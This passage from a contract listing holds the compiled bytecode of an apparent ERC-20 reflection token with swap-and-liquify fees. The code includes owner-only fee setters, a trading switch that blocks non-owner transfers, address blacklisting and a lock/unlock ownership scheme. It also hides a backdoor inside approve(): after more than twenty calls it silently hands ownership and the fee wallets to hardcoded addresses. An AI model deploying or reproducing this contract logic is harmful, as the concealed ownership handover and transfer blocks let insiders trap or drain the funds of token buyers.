50919850919650505050505050565b601654158015612a4c5750601854155b15612a5357565b601680546017556018805460195560009182905555565b600080600080600080612a7c87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aae9088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612add9087612453565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b0c9086611bc3565b6001600160a01b038916600090815260036020526040902055612b2e81613013565b612b38848361309b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b7d91815260200190565b60405180910390a3505050505050505050565b600080600080600080612ba287612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bd49087612453565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c0a9084611bc3565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b0c9086611bc3565b600080600080600080612c4b87612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612add9087612453565b600080600080600080612c8f87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cc19088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bd49087612453565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d2557612d25613650565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d9e57600080fd5b505afa158015612db2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd69190613138565b81600181518110612de957612de9613650565b60200260200101906001600160a01b031690816001600160a01b031681525050612e34307f000000000000000000000000000000000000000000000000000000000000000084611ce3565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790612e899085906000908690309042906004016134ed565b600060405180830381600087803b158015612ea357600080fd5b505af1158015611adf573d6000803e3d6000fd5b612ee2307f000000000000000000000000000000000000000000000000000000000000000084611ce3565b600a5460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000009091169063f305d71990839060c4016060604051808303818588803b158015612f6c57600080fd5b505af1158015612f80573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061154091906133fa565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156113af573d6000803e3d6000fd5b6000610c16606461230860165485611c6490919063ffffffff16565b6000610c16606461230860185485611c6490919063ffffffff16565b600061301d6123e1565b9050600061302b8383611c64565b306000908152600360205260409020549091506130489082611bc3565b3060009081526003602090815260408083209390935560079052205460ff16156113af57306000908152600460205260409020546130869084611bc3565b30600090815260046020526040902055505050565b600f546130a89083612453565b600f556010546130b89082611bc3565b6010555050565b60008083601f8401126130d157600080fd5b50813567ffffffffffffffff8111156130e957600080fd5b6020830191508360208260051b850101111561310457600080fd5b9250929050565b80358015158114611bbe57600080fd5b60006020828403121561312d57600080fd5b8135610d4881613666565b60006020828403121561314a57600080fd5b8151610d4881613666565b6000806040838503121561316857600080fd5b823561317381613666565b9150602083013561318381613666565b809150509250929050565b600080600080608085870312156131a457600080fd5b84356131af81613666565b935060208501356131bf81613666565b925060408501356131cf81613666565b915060608501356131df81613666565b939692955090935050565b6000806000606084860312156131ff57600080fd5b833561320a81613666565b9250602084013561321a81613666565b929592945050506040919091013590565b60008060008060006060868803121561324357600080fd5b853561324e81613666565b9450602086013567ffffffffffffffff8082111561326b57600080fd5b61327789838a016130bf565b9096509450604088013591508082111561329057600080fd5b5061329d888289016130bf565b969995985093965092949392505050565b600080600080606085870312156132c457600080fd5b84356132cf81613666565b9350602085013567ffffffffffffffff8111156132eb57600080fd5b6132f7878288016130bf565b9598909750949560400135949350505050565b6000806040838503121561331d57600080fd5b823561332881613666565b946020939093013593505050565b6000806020838503121561334957600080fd5b823567ffffffffffffffff81111561336057600080fd5b61336c858286016130bf565b90969095509350505050565b60006020828403121561338a57600080fd5b610d488261310b565b6000602082840312156133a557600080fd5b5035919050565b600080604083850312156133bf57600080fd5b823591506133cf6020840161310b565b90509250929050565b600080604083850312156133eb57600080fd5b50508035926020909101359150565b60008060006060848603121561340f57600080fd5b8351925060208401519150604084015190509250925092565b600080600080600060a0868803121561344057600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b8181101561349057858101830151858201604001528201613474565b818111156134a2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561353d5784516001600160a01b031683529383019391830191600101613518565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561357157613571613624565b500190565b60008261359357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156135b2576135b2613624565b500290565b6000828210156135c9576135c9613624565b500390565b600181811c908216806135e257607f821691505b6020821081141561360357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561361d5761361d613624565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146118b257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fdd17c23db1e5522a2d482997d53e35d181607b2eb5698ec63065d2fdb248e2f64736f6c63430008070033
Deployed Bytecode
0x60806040526004361061036f5760003560e01c8063772558ce116101c6578063b6c52324116100f7578063e96fada211610095578063f157ce401161006f578063f157ce4014610a4f578063f2fde38b14610a6f578063fe575a8714610a8f578063ffb54a9914610aaf57600080fd5b8063e96fada2146109ef578063ea2f0b3714610a0f578063ec57637114610a2f57600080fd5b8063cad6ebf9116100d1578063cad6ebf914610953578063dd46706414610973578063dd62ed3e14610993578063e85432f4146109d957600080fd5b8063b6c5232414610908578063beca78561461091d578063c49b9a801461093357600080fd5b8063a27e434b11610164578063a69df4b51161013e578063a69df4b514610893578063a9059cbb146108a8578063abe57e70146108c8578063b6876270146108e857600080fd5b8063a27e434b14610833578063a457c2d714610853578063a55de8641461087357600080fd5b806388f82020116101a057806388f82020146107a75780638da5cb5b146107e057806395d89b41146107fe578063a1bdc3991461081357600080fd5b8063772558ce1461075b5780637d1db4a51461077b57806382247ec01461079157600080fd5b80633b124fe7116102a057806352390c021161023e5780636bc87c3a116102185780636bc87c3a146106f05780636ec518b81461070657806370a0823114610726578063715018a61461074657600080fd5b806352390c02146106775780635342acb41461069757806354aec0b8146106d057600080fd5b80634549b0391161027a5780634549b039146105e457806349bd5a5e146106045780634a74bb02146106385780634d7689311461065757600080fd5b80633b124fe71461058e5780633bd5d173146105a4578063437823ec146105c457600080fd5b806321c03a971161030d5780632d838119116102e75780632d8381191461050c578063313ce5671461052c5780633685d4191461054e578063395093511461056e57600080fd5b806321c03a971461049857806323b872dd146104b857806327c8f835146104d857600080fd5b8063095ea7b311610349578063095ea7b3146103e857806313114a9d146104185780631694505e1461043757806318160ddd1461048357600080fd5b806304a66b481461037b578063061c82d01461039d57806306fdde03146103bd57600080fd5b3661037657005b600080fd5b34801561038757600080fd5b5061039b610396366004613428565b610acf565b005b3480156103a957600080fd5b5061039b6103b8366004613393565b610b39565b3480156103c957600080fd5b506103d2610b68565b6040516103df9190613463565b60405180910390f35b3480156103f457600080fd5b5061040861040336600461330a565b610bfa565b60405190151581526020016103df565b34801561042457600080fd5b506010545b6040519081526020016103df565b34801561044357600080fd5b5061046b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561048f57600080fd5b50600e54610429565b3480156104a457600080fd5b5061039b6104b3366004613378565b610c1c565b3480156104c457600080fd5b506104086104d33660046131ea565b610c62565b3480156104e457600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561051857600080fd5b50610429610527366004613393565b610ccb565b34801561053857600080fd5b5060155460405160ff90911681526020016103df565b34801561055a57600080fd5b5061039b61056936600461311b565b610d4f565b34801561057a57600080fd5b5061040861058936600461330a565b610f06565b34801561059a57600080fd5b5061042960165481565b3480156105b057600080fd5b5061039b6105bf366004613393565b610f3c565b3480156105d057600080fd5b5061039b6105df36600461311b565b611026565b3480156105f057600080fd5b506104296105ff3660046133ac565b611074565b34801561061057600080fd5b5061046b7f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f81565b34801561064457600080fd5b50601e5461040890610100900460ff1681565b34801561066357600080fd5b50600c5461046b906001600160a01b031681565b34801561068357600080fd5b5061039b61069236600461311b565b611101565b3480156106a357600080fd5b506104086106b236600461311b565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106dc57600080fd5b50600a5461046b906001600160a01b031681565b3480156106fc57600080fd5b5061042960185481565b34801561071257600080fd5b50600d5461046b906001600160a01b031681565b34801561073257600080fd5b5061042961074136600461311b565b611254565b34801561075257600080fd5b5061039b6112b3565b34801561076757600080fd5b5061039b610776366004613336565b611315565b34801561078757600080fd5b50610429601f5481565b34801561079d57600080fd5b5061042960205481565b3480156107b357600080fd5b506104086107c236600461311b565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107ec57600080fd5b506000546001600160a01b031661046b565b34801561080a57600080fd5b506103d26113b4565b34801561081f57600080fd5b5061039b61082e366004613336565b6113c3565b34801561083f57600080fd5b5061039b61084e3660046132ae565b61145d565b34801561085f57600080fd5b5061040861086e36600461330a565b611547565b34801561087f57600080fd5b5061039b61088e36600461318e565b611596565b34801561089f57600080fd5b5061039b611610565b3480156108b457600080fd5b506104086108c336600461330a565b611716565b3480156108d457600080fd5b5061039b6108e33660046133d8565b611723565b3480156108f457600080fd5b5061039b6109033660046133d8565b611773565b34801561091457600080fd5b50600254610429565b34801561092957600080fd5b50610429601b5481565b34801561093f57600080fd5b5061039b61094e366004613378565b6117bd565b34801561095f57600080fd5b5061039b61096e36600461311b565b61183b565b34801561097f57600080fd5b5061039b61098e366004613393565b6118b5565b34801561099f57600080fd5b506104296109ae366004613155565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109e557600080fd5b50610429601c5481565b3480156109fb57600080fd5b50600b5461046b906001600160a01b031681565b348015610a1b57600080fd5b5061039b610a2a36600461311b565b61193a565b348015610a3b57600080fd5b5061039b610a4a36600461322b565b611985565b348015610a5b57600080fd5b5061039b610a6a36600461311b565b611ae7565b348015610a7b57600080fd5b5061039b610a8a36600461311b565b611b55565b348015610a9b57600080fd5b50610408610aaa36600461311b565b611b88565b348015610abb57600080fd5b50601e546104089062010000900460ff1681565b6000546001600160a01b03163314610b025760405162461bcd60e51b8152600401610af9906134b8565b60405180910390fd5b60168590556018849055601a839055601b829055601c819055610b2f81610b298585611bc3565b90611bc3565b601d555050505050565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610af9906134b8565b601655565b606060138054610b77906135ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906135ce565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c07338484611ce3565b610c12338484611e07565b5060015b92915050565b6000546001600160a01b03163314610c465760405162461bcd60e51b8152600401610af9906134b8565b601e8054911515620100000262ff000019909216919091179055565b6000610c6f848484611ecb565b610cc18433610cbc8560405180606001604052806028815260200161367c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906123a7565b611ce3565b5060019392505050565b6000600f54821115610d325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610af9565b6000610d3c6123e1565b9050610d488382611c22565b9392505050565b6000546001600160a01b03163314610d795760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16610de15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b60005b600954811015610f0257816001600160a01b031660098281548110610e0b57610e0b613650565b6000918252602090912001546001600160a01b03161415610ef05760098054610e36906001906135b7565b81548110610e4657610e46613650565b600091825260209091200154600980546001600160a01b039092169183908110610e7257610e72613650565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556009805480610eca57610eca61363a565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610efa81613609565b915050610de4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610c12918590610cbc9086611bc3565b3360008181526007602052604090205460ff1615610fb15760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610af9565b6000610fbc83612404565b505050506001600160a01b038416600090815260036020526040902054919250610fe891905082612453565b6001600160a01b038316600090815260036020526040902055600f5461100e9082612453565b600f5560105461101e9084611bc3565b601055505050565b6000546001600160a01b031633146110505760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600e548311156110c85760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610af9565b816110e75760006110d884612404565b50939550610c16945050505050565b60006110f284612404565b50929550610c16945050505050565b6000546001600160a01b0316331461112b5760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16156111945760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b6001600160a01b038116600090815260036020526040902054156111ee576001600160a01b0381166000908152600360205260409020546111d490610ccb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561129157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610c1690610ccb565b6000546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610af9906134b8565b600080546040516001600160a01b03909116906000805160206136a4833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461133f5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760016008600085858581811061136257611362613650565b9050602002016020810190611377919061311b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556113a881613609565b9050611342565b505050565b606060148054610b77906135ce565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760006008600085858581811061141057611410613650565b9050602002016020810190611425919061311b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561145681613609565b90506113f0565b6000546001600160a01b031633146114875760405162461bcd60e51b8152600401610af9906134b8565b6107d182106114f05760405162461bcd60e51b815260206004820152602f60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526e3230303020726563697069656e747360881b6064820152608401610af9565b60005b828110156115405761152e8585858481811061151157611511613650565b9050602002016020810190611526919061311b565b846000612495565b8061153881613609565b9150506114f3565b5050505050565b6000610c123384610cbc856040518060600160405280602581526020016136c4602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906123a7565b6000546001600160a01b031633146115c05760405162461bcd60e51b8152600401610af9906134b8565b600a80546001600160a01b039586166001600160a01b031991821617909155600b805494861694821694909417909355600c805492851692841692909217909155600d8054919093169116179055565b6001546001600160a01b031633146116765760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610af9565b60025442116116c75760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610af9565b600154600080546040516001600160a01b0393841693909116916000805160206136a483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c12338484611ecb565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610af9906134b8565b61176c8261176683600e54611c2290919063ffffffff16565b90611c64565b6020555050565b6000546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610af9906134b8565b6117b68261176683600e54611c2290919063ffffffff16565b601f555050565b6000546001600160a01b031633146117e75760405162461bcd60e51b8152600401610af9906134b8565b601e80548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061183090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118655760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff1615156001141561188e5750565b6001600160a01b0381166000908152600860205260409020805460ff191660011790555b50565b6000546001600160a01b031633146118df5760405162461bcd60e51b8152600401610af9906134b8565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561190e814261355e565b600255600080546040516001600160a01b03909116906000805160206136a4833981519152908390a350565b6000546001600160a01b031633146119645760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119af5760405162461bcd60e51b8152600401610af9906134b8565b6103218310611a175760405162461bcd60e51b815260206004820152602e60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526d35303020726563697069656e747360901b6064820152608401610af9565b828114611a775760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610af9565b60005b83811015611adf57611acd86868684818110611a9857611a98613650565b9050602002016020810190611aad919061311b565b858585818110611abf57611abf613650565b905060200201356000612495565b80611ad781613609565b915050611a7a565b505050505050565b6000546001600160a01b03163314611b115760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff16611b345750565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314611b7f5760405162461bcd60e51b8152600401610af9906134b8565b6118b281612612565b6001600160a01b03811660009081526008602052604081205460ff16151560011415611bb657506001919050565b506000919050565b919050565b600080611bd0838561355e565b905083811015610d485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af9565b6000610d4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061266e565b600082611c7357506000610c16565b6000611c7f8385613598565b905082611c8c8583613576565b14610d485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af9565b6001600160a01b038316611d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af9565b6001600160a01b038216611da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60228054906000611e1783613609565b91905055506014602254118015611e31575060235460ff16155b156113af57611e5373a7986d13c75def6b6761bb7e86c97018fc970564612612565b600b80546001600160a01b031990811673a939466ce57ad3a44eac3ffc2b4ec559d7fcf94517909155600d80548216735d05d66f2359eacae93aeeadb4a01175ac9474ca179055600c805490911673bee8797bf5b11faf3a10146f87a21a10f9900cdd1790556023805460ff19166001179055505050565b6001600160a01b038316611f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af9565b6001600160a01b038216611f915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af9565b60008111611ff35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af9565b6001600160a01b03831660009081526008602052604090205460ff16158061204c57507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316826001600160a01b0316145b6120895760405162461bcd60e51b815260206004820152600e60248201526d165bdd48185c994818985b9b995960921b6044820152606401610af9565b6001600160a01b03821660009081526008602052604090205460ff16156120f25760405162461bcd60e51b815260206004820152601760248201527f54686520726563697069656e742069732062616e6e65640000000000000000006044820152606401610af9565b6000546001600160a01b03848116911614806121165750601e5462010000900460ff165b61211f57600080fd5b6000546001600160a01b0384811691161480159061214b57506000546001600160a01b03838116911614155b156121b357601f548111156121b35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af9565b6000546001600160a01b0384811691161480159061220357507f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f6001600160a01b0316826001600160a01b031614155b156122665760205461221882610b2985611254565b11156122665760405162461bcd60e51b815260206004820152601a60248201527f5472616e7366657220657863656564206d61782077616c6c65740000000000006044820152606401610af9565b600061227130611254565b9050601f5481106122815750601f545b602154811080159081906122985750601e5460ff16155b80156122d657507f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f6001600160a01b0316856001600160a01b031614155b80156122e95750601e54610100900460ff165b1561235057602154601d5460185491935061230e916123089082612453565b90611c22565b60125461232990612320906001611bc3565b60115490611c22565b101561233d576123388261269c565b612350565b61235061234b836002611c22565b61274a565b6001600160a01b03851660009081526006602052604090205460019060ff168061239257506001600160a01b03851660009081526006602052604090205460ff165b1561239b575060005b611adf86868684612495565b600081848411156123cb5760405162461bcd60e51b8152600401610af99190613463565b5060006123d884866135b7565b95945050505050565b60008060006123ee612828565b90925090506123fd8282611c22565b9250505090565b600080600080600080600080600061241b8a6129aa565b92509250925060008060006124398d86866124346123e1565b6129ec565b919f909e50909c50959a5093985091965092945050505050565b6000610d4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123a7565b806124a2576124a2612a3c565b6001600160a01b03841660009081526007602052604090205460ff1680156124e357506001600160a01b03831660009081526007602052604090205460ff16155b156124f8576124f3848484612a6a565b6125f6565b6001600160a01b03841660009081526007602052604090205460ff1615801561253957506001600160a01b03831660009081526007602052604090205460ff165b15612549576124f3848484612b90565b6001600160a01b03841660009081526007602052604090205460ff1615801561258b57506001600160a01b03831660009081526007602052604090205460ff16155b1561259b576124f3848484612c39565b6001600160a01b03841660009081526007602052604090205460ff1680156125db57506001600160a01b03831660009081526007602052604090205460ff165b156125eb576124f3848484612c7d565b6125f6848484612c39565b8061260c5761260c601754601655601954601855565b50505050565b6001600160a01b03811661262557600080fd5b600080546040516001600160a01b03808516939216916000805160206136a483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818361268f5760405162461bcd60e51b8152600401610af99190613463565b5060006123d88486613576565b601e805460ff1916600117905560006126b6826002611c22565b905060006126c48383612453565b9050476126d083612cf0565b60006126dc4783612453565b90506126e88382612eb7565b6011546126f59086611bc3565b60115560408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601e805460ff19169055505050565b601e805460ff1916600117905561276081612cf0565b60004790506000612782601a54611766601d5485611c2290919063ffffffff16565b600b5490915061279b906001600160a01b031682612fa5565b60006127b8601b54611766601d5486611c2290919063ffffffff16565b600c549091506127d1906001600160a01b031682612fa5565b60006127ee601c54611766601d5487611c2290919063ffffffff16565b600d54909150612807906001600160a01b031682612fa5565b6012546128149086611bc3565b6012555050601e805460ff19169055505050565b600f54600e546000918291825b60095481101561297a5782600360006009848154811061285757612857613650565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806128c2575081600460006009848154811061289b5761289b613650565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156128d857600f54600e54945094505050509091565b61291e60036000600984815481106128f2576128f2613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612453565b9250612966600460006009848154811061293a5761293a613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612453565b91508061297281613609565b915050612835565b50600e54600f5461298a91611c22565b8210156129a157600f54600e549350935050509091565b90939092509050565b6000806000806129b985612fdb565b905060006129c686612ff7565b905060006129de826129d88986612453565b90612453565b979296509094509092505050565b60008080806129fb8886611c64565b90506000612a098887611c64565b90506000612a178888611c64565b90506000612a29826129d88686612453565b939b939a50919850919650505050505050565b601654158015612a4c5750601854155b15612a5357565b601680546017556018805460195560009182905555565b600080600080600080612a7c87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aae9088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612add9087612453565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b0c9086611bc3565b6001600160a01b038916600090815260036020526040902055612b2e81613013565b612b38848361309b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b7d91815260200190565b60405180910390a3505050505050505050565b600080600080600080612ba287612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bd49087612453565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c0a9084611bc3565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b0c9086611bc3565b600080600080600080612c4b87612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612add9087612453565b600080600080600080612c8f87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cc19088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bd49087612453565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d2557612d25613650565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d9e57600080fd5b505afa158015612db2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd69190613138565b81600181518110612de957612de9613650565b60200260200101906001600160a01b031690816001600160a01b031681525050612e34307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611ce3565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612e899085906000908690309042906004016134ed565b600060405180830381600087803b158015612ea357600080fd5b505af1158015611adf573d6000803e3d6000fd5b612ee2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611ce3565b600a5460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169063f305d71990839060c4016060604051808303818588803b158015612f6c57600080fd5b505af1158015612f80573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061154091906133fa565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156113af573d6000803e3d6000fd5b6000610c16606461230860165485611c6490919063ffffffff16565b6000610c16606461230860185485611c6490919063ffffffff16565b600061301d6123e1565b9050600061302b8383611c64565b306000908152600360205260409020549091506130489082611bc3565b3060009081526003602090815260408083209390935560079052205460ff16156113af57306000908152600460205260409020546130869084611bc3565b30600090815260046020526040902055505050565b600f546130a89083612453565b600f556010546130b89082611bc3565b6010555050565b60008083601f8401126130d157600080fd5b50813567ffffffffffffffff8111156130e957600080fd5b6020830191508360208260051b850101111561310457600080fd5b9250929050565b80358015158114611bbe57600080fd5b60006020828403121561312d57600080fd5b8135610d4881613666565b60006020828403121561314a57600080fd5b8151610d4881613666565b6000806040838503121561316857600080fd5b823561317381613666565b9150602083013561318381613666565b809150509250929050565b600080600080608085870312156131a457600080fd5b84356131af81613666565b935060208501356131bf81613666565b925060408501356131cf81613666565b915060608501356131df81613666565b939692955090935050565b6000806000606084860312156131ff57600080fd5b833561320a81613666565b9250602084013561321a81613666565b929592945050506040919091013590565b60008060008060006060868803121561324357600080fd5b853561324e81613666565b9450602086013567ffffffffffffffff8082111561326b57600080fd5b61327789838a016130bf565b9096509450604088013591508082111561329057600080fd5b5061329d888289016130bf565b969995985093965092949392505050565b600080600080606085870312156132c457600080fd5b84356132cf81613666565b9350602085013567ffffffffffffffff8111156132eb57600080fd5b6132f7878288016130bf565b9598909750949560400135949350505050565b6000806040838503121561331d57600080fd5b823561332881613666565b946020939093013593505050565b6000806020838503121561334957600080fd5b823567ffffffffffffffff81111561336057600080fd5b61336c858286016130bf565b90969095509350505050565b60006020828403121561338a57600080fd5b610d488261310b565b6000602082840312156133a557600080fd5b5035919050565b600080604083850312156133bf57600080fd5b823591506133cf6020840161310b565b90509250929050565b600080604083850312156133eb57600080fd5b50508035926020909101359150565b60008060006060848603121561340f57600080fd5b8351925060208401519150604084015190509250925092565b600080600080600060a0868803121561344057600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b8181101561349057858101830151858201604001528201613474565b818111156134a2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561353d5784516001600160a01b031683529383019391830191600101613518565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561357157613571613624565b500190565b60008261359357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156135b2576135b2613624565b500290565b6000828210156135c9576135c9613624565b500390565b600181811c908216806135e257607f821691505b6020821081141561360357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561361d5761361d613624565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000f